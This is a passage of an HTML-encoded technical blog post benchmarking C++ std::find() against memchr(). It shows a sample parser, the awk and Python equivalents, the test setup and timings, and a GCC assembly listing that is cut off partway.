href=\"#inlining\">Inlining<\/a><\/li>\n<li><a href=\"#other-c-libraries\">Other C libraries<\/a><ul>\n<li><a href=\"#dietlibc\">Dietlibc<\/a><\/li>\n<li><a href=\"#uclibc\">uClibc<\/a><\/li>\n<li><a href=\"#musl\">Musl<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#measurements\">Measurements<\/a><\/li>\n<li><a href=\"#conclusion\">Conclusion<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"expectations\">Expectations<a class=\"headerlink\" href=\"#expectations\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Like with other STL algorithms one expects that <code>std::find()<\/code> is\nhighly optimized and specialized for different arguments. For\nexample, the minimum requirement for the range are input\niterators but if we use - say - random access iterators for\nsearching a range of <code>char<\/code> elements we expect a specialized\nversion. For example, one that uses <a href=\"https:\/\/en.wikipedia.org\/wiki\/SIMD\">SIMD (single instruction\nmultiple data) vector instructions<\/a>, where available.<\/p>\n<p>Similarly, one expects that the libc implementation of <code>memchr()<\/code>\ndoes runtime dispatching based on the available CPU\nextensions (and perhaps the search range size) and uses a specialized\nversion. Again, if available one that uses SIMD instructions.<\/p>\n<p>In fact, <code>std::find()<\/code> could even just call <code>memchr()<\/code> for a\nrandom access character range.<\/p>\n<p>It is also possible that the compiler directly <a href=\"https:\/\/en.wikipedia.org\/wiki\/Inlining\">inlines<\/a>\n<code>memchr()<\/code> calls with an optimized implementation.<\/p>\n<p>Let's see which of those expectations are actually met.<\/p>\n<h2 id=\"sample-code\">Sample Code<a class=\"headerlink\" href=\"#sample-code\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>This example is a minimal version of a real parser that does\nenough to see differences in implementation details of a\ncharacter search function:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"nf\">main<\/span><span class=\"p\">(<\/span><span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"n\">argc<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">**<\/span><span class=\"n\">argv<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">argc<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"mi\">3<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">  <\/span><span class=\"kt\">unsigned<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">atoi<\/span><span class=\"p\">(<\/span><span class=\"n\">argv<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">]);<\/span>\n<span class=\"w\">  <\/span><span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"n\">fd<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"o\">::<\/span><span class=\"n\">open<\/span><span class=\"p\">(<\/span><span class=\"n\">argv<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">],<\/span><span class=\"w\"> <\/span><span class=\"n\">O_RDONLY<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">enum<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span><span class=\"w\"> <\/span><span class=\"n\">N<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">128<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"mi\">1024<\/span><span class=\"w\"> <\/span><span class=\"p\">};<\/span>\n<span class=\"w\">  <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">buffer<\/span><span class=\"p\">[<\/span><span class=\"n\">N<\/span><span class=\"o\">+<\/span><span class=\"mi\">64<\/span><span class=\"p\">];<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"kt\">unsigned<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"o\">++<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"kt\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">off<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">      <\/span><span class=\"n\">x<\/span><span class=\"o\">::<\/span><span class=\"n\">lseek<\/span><span class=\"p\">(<\/span><span class=\"n\">fd<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">SEEK_SET<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;;)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">auto<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"o\">::<\/span><span class=\"n\">read<\/span><span class=\"p\">(<\/span><span class=\"n\">fd<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">buffer<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">N<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">buffer<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">auto<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"n\">r<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;;)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">auto<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">g<\/span><span class=\"o\">::<\/span><span class=\"n\">find<\/span><span class=\"p\">(<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"sc\">&#39;\\n&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">auto<\/span><span class=\"w\"> <\/span><span class=\"n\">y<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">g<\/span><span class=\"o\">::<\/span><span class=\"n\">find<\/span><span class=\"p\">(<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"sc\">&#39;|&#39;<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">off<\/span><span class=\"w\"> <\/span><span class=\"o\">+=<\/span><span class=\"w\"> <\/span><span class=\"n\">y<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"n\">b<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">y<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">          <\/span><span class=\"n\">printf<\/span><span class=\"p\">(<\/span><span class=\"s\">&quot;%zu<\/span><span class=\"se\">\\n<\/span><span class=\"s\">&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">off<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">          <\/span><span class=\"k\">break<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">off<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">b<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">x<\/span><span class=\"w\"> <\/span><span class=\"o\">+<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">      <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">      <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">r<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"n\">N<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">break<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>The <code>x<\/code> namespace contains wrappers for some <a href=\"https:\/\/en.wikipedia.org\/wiki\/POSIX\">POSIX<\/a>\nfunctions that throw exceptions on error. The function\n<code>g::find()<\/code> wraps different versions of <code>std::find()<\/code>.<\/p>\n<p>A read size of 128 KiB is used because it is a multiple of 4 KiB\nand 16 KiB page sizes and it usually gives good throughput on\nmodern systems (cf. e.g. the <a href=\"http:\/\/git.savannah.gnu.org\/gitweb\/?p=coreutils.git;a=blob;f=src\/ioblksize.h;h=266c209f48fc07cb4527139a2548b6398b75f740;hb=HEAD#l23\">comments in the GNU coreutils<\/a>\nimplementation of <code>cp<\/code>).<\/p>\n<p>The buffer is 64 bytes bigger than strictly necessary to allow\nfor implementations that read over the right boundary (i.e. up to\n64 bytes).<\/p>\n<p>The outermost loop is there for benchmarking purposes, i.e. to simulate\nlarge files with many records.<\/p>\n<p>In the example input format, records are delimited by a newline and an\nimportant prefix is delimited by a pipe character. The simplified\npurpose is to print the prefix length of each record.<\/p>\n<p>Basically, its functionality is equivalent to:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">for<\/span><span class=\"w\"> <\/span>i<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"k\">$(<\/span>seq<span class=\"w\"> <\/span><span class=\"nv\">$n<\/span><span class=\"k\">)<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span><span class=\"w\"> <\/span>awk<span class=\"w\"> <\/span>-F<span class=\"s1\">&#39;|&#39;<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;{print length($1)}&#39;<\/span><span class=\"w\"> <\/span><span class=\"nv\">$input<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">done<\/span>\n<\/code><\/pre><\/div>\n\n<p>Or this Python 3 program:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kn\">import<\/span><span class=\"w\"> <\/span><span class=\"nn\">sys<\/span>\n\n<span class=\"n\">n<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">int<\/span><span class=\"p\">(<\/span><span class=\"n\">sys<\/span><span class=\"o\">.<\/span><span class=\"n\">argv<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">])<\/span>\n<span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"n\">n<\/span><span class=\"p\">):<\/span>\n  <span class=\"k\">with<\/span> <span class=\"nb\">open<\/span><span class=\"p\">(<\/span><span class=\"n\">sys<\/span><span class=\"o\">.<\/span><span class=\"n\">argv<\/span><span class=\"p\">[<\/span><span class=\"mi\">2<\/span><span class=\"p\">],<\/span> <span class=\"s1\">&#39;r&#39;<\/span><span class=\"p\">)<\/span> <span class=\"k\">as<\/span> <span class=\"n\">f<\/span><span class=\"p\">:<\/span>\n    <span class=\"k\">for<\/span> <span class=\"n\">line<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">f<\/span><span class=\"p\">:<\/span>\n      <span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">line<\/span><span class=\"o\">.<\/span><span class=\"n\">find<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;|&#39;<\/span><span class=\"p\">))<\/span>\n<\/code><\/pre><\/div>\n\n<p>The test program and other material contained in a <a href=\"https:\/\/github.com\/gsauthof\/find-memchr\">Git repository<\/a>.<\/p>\n<h2 id=\"methods\">Methods<a class=\"headerlink\" href=\"#methods\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>We generate some sample records via dumping a dictionary and\nreformatting it a little bit:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>aspell<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>en<span class=\"w\"> <\/span>dump<span class=\"w\"> <\/span>master<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>aspell<span class=\"w\"> <\/span>-l<span class=\"w\"> <\/span>en<span class=\"w\"> <\/span>expand<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>paste<span class=\"w\"> <\/span><span class=\"s1\">&#39;-d,,,,|,,&#39;<\/span><span class=\"w\">  <\/span>-<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span><span class=\"k\">in<\/span>\n<\/code><\/pre><\/div>\n\n<p>On a Fedora 23 system, this yields a file with 14972 records\n(i.e. lines) where the average prefix and suffix sizes are 47 and\n27 characters.<\/p>\n<p>Unless noted otherwise:<\/p>\n<ul>\n<li>The test input is generated on a Fedora 23 system as described\nabove and it is processed with 30000 iterations.<\/li>\n<li>Throughout the text the rounded <a href=\"https:\/\/en.wikipedia.org\/wiki\/Median\">median<\/a> runtimes on a <code>Intel(R)\nCore(TM) i7-6600U CPU @ 2.60GHz<\/code> CPU (6th generation Core 7) are reported.\nThis CPU notably comes with the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Advanced_Vector_Extensions\">AVX2 SIMD extension<\/a>, but\nnot with the <a href=\"https:\/\/en.wikipedia.org\/wiki\/AVX-512\">AVX-512 extension<\/a>.\nMore details and runtime results for other systems are available\nin the Section Measurements.<\/li>\n<li>The main test system runs Fedora 23 (64 Bit).<\/li>\n<li>All examples are compiled with GCC 5.3.1 (Fedora 23) with the\noptions <code>-O3 -march=native<\/code>.<\/li>\n<\/ul>\n<p>To get an upper bound, the following GNU awk call finishes in 60 seconds\n(on the described system):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nb\">time<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>i<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"o\">{<\/span><span class=\"m\">1<\/span>..3000<span class=\"o\">}<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span><span class=\"w\"> <\/span>cat<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">done<\/span><span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>awk<span class=\"w\"> <\/span>-F<span class=\"s1\">&#39;|&#39;<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;{print length($1)}&#39;<\/span><span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span>\/dev\/null\n<\/code><\/pre><\/div>\n\n<p>While the Python version finishes in 41 seconds:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nb\">time<\/span><span class=\"w\"> <\/span>.\/find.py<span class=\"w\"> <\/span><span class=\"m\">3000<\/span><span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span>\/dev\/null\n<\/code><\/pre><\/div>\n\n<p>Note that the following benchmarks use 10 times more iterations,\nbecause the test programs run much faster.<\/p>\n<p>The test program, the used input, the different <code>std::find<\/code> and\n<code>memchr()<\/code> versions and the benchmark scripts are available in a\n<a href=\"https:\/\/github.com\/gsauthof\/find-memchr\">Git repository<\/a>.<\/p>\n<h2 id=\"how-fast-is-stdfind\">How fast is <code>std::find()<\/code>?<a class=\"headerlink\" href=\"#how-fast-is-stdfind\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The straight forward idiomatic C++ definition of <code>g::find()<\/code> is\njust to call <code>std::find()<\/code>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;algorithm&gt;<\/span>\n\n<span class=\"k\">namespace<\/span><span class=\"w\"> <\/span><span class=\"nn\">g<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"nf\">find<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">std<\/span><span class=\"o\">::<\/span><span class=\"n\">find<\/span><span class=\"p\">(<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">e<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"p\">}<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>That version has a median runtime of 46 seconds with our 30000\ntimes 14972 records test input. This is 9 times or so\nfaster than the Awk and Python implementations.<\/p>\n<h2 id=\"does-stdfind-call-memchr\">Does <code>std::find()<\/code> <code>call memchr()<\/code>?<a class=\"headerlink\" href=\"#does-stdfind-call-memchr\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The easiest way to find out is to let GCC emit the assembler\noutput like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">g<\/span><span class=\"o\">++<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"nx\">O3<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"nx\">march<\/span><span class=\"p\">=<\/span><span class=\"nx\">native<\/span><span class=\"w\"> <\/span><span class=\"nx\">find_find_impl<\/span><span class=\"p\">.<\/span><span class=\"nx\">cc<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"nx\">S<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"nx\">o<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"o\">|<\/span><span class=\"w\"> <\/span><span class=\"nx\">grep<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"nx\">v<\/span><span class=\"w\"> <\/span><span class=\"sc\">&#39;^&#39;<\/span><span class=\"err\">$<\/span><span class=\"sc\">&#39;\\t&#39;&#39;\\.&#39;<\/span>\n<\/code><\/pre><\/div>\n\n<p>Which produces:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nl\">g:<\/span><span class=\"err\">:<\/span><span class=\"nf\">find<\/span><span class=\"p\">(<\/span><span class=\"no\">char<\/span><span class=\"w\"> <\/span><span class=\"no\">const<\/span><span class=\"p\">*,<\/span><span class=\"w\"> <\/span><span class=\"no\">char<\/span><span class=\"w\"> <\/span><span class=\"no\">const<\/span><span class=\"p\">*,<\/span><span class=\"w\"> <\/span><span class=\"no\">char<\/span><span class=\"p\">):<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r9<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movl<\/span><span class=\"w\">        <\/span><span class=\"nv\">%edx<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%ecx<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">subq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r9<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%r9<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r8<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">sarq<\/span><span class=\"w\">        <\/span><span class=\"no\">$2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r8<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">testq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%r8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r8<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jle<\/span><span class=\"w\">        <\/span><span class=\"no\">.L14<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%dl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L15<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"mi\">1<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%dl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L31<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"mi\">2<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%dl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L32<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"mi\">3<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%dl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L33<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">        <\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">,<\/span><span class=\"nv\">%r8<\/span><span class=\"p\">,<\/span><span class=\"mi\">4<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r8<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jmp<\/span><span class=\"w\">        <\/span><span class=\"no\">.L9<\/span>\n<span class=\"nl\">.L10:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"mi\">4<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%cl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L29<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"mi\">1<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rax<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%cl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L34<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"mi\">2<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rax<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%cl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L35<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpb<\/span><span class=\"w\">        <\/span><span class=\"mi\">3<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rax<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%cl<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L36<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%rax<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rdi<\/span>\n<span class=\"nl\">.L9:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">leaq<\/span><span class=\"w\">        <\/span><span class=\"mi\">4<\/span><span class=\"p\">(<\/span><span class=\"nv\">%rdi<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%r8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%rax<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">jne<\/span><span class=\"w\">        <\/span><span class=\"no\">.L10<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">movq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%rsi<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r9<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">subq<\/span><span class=\"w\">        <\/span><span class=\"nv\">%r8<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r9<\/span>\n<span class=\"nl\">.L2:<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpq<\/span><span class=\"w\">        <\/span><span class=\"no\">$2<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nv\">%r9<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">je<\/span><span class=\"w\">        <\/span><span class=\"no\">.L11<\/span>\n<span class=\"w\">        <\/span><span class=\"nf\">cmpq<\/span><span class=\"w\">        <\/span><span 